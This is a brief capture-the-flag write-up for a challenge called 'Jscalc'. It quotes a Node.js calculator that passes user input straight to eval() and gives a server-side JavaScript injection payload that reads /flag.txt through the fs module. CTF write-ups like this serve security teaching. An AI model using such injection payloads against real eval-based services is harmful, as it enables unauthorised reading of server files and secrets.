

# Jscalc

After reading the code, I found this:

```
1  module.exports = {  
2    calculate(formula) {  
3      try {  
4        return eval(`(function() { return ${ formula } ;}())`);  
5      } catch (e) {  
6        if (e instanceof SyntaxError) {  
7          return 'Something went wrong!';  
8        }  
9      }  
10   }  
11 }  
12 }
```

The website is using **eval()** function without any input sanitization. So we can simply send a js payload in input and get the flag.

Payload: **require('fs').readFileSync('/flag.txt', 'utf-8')**

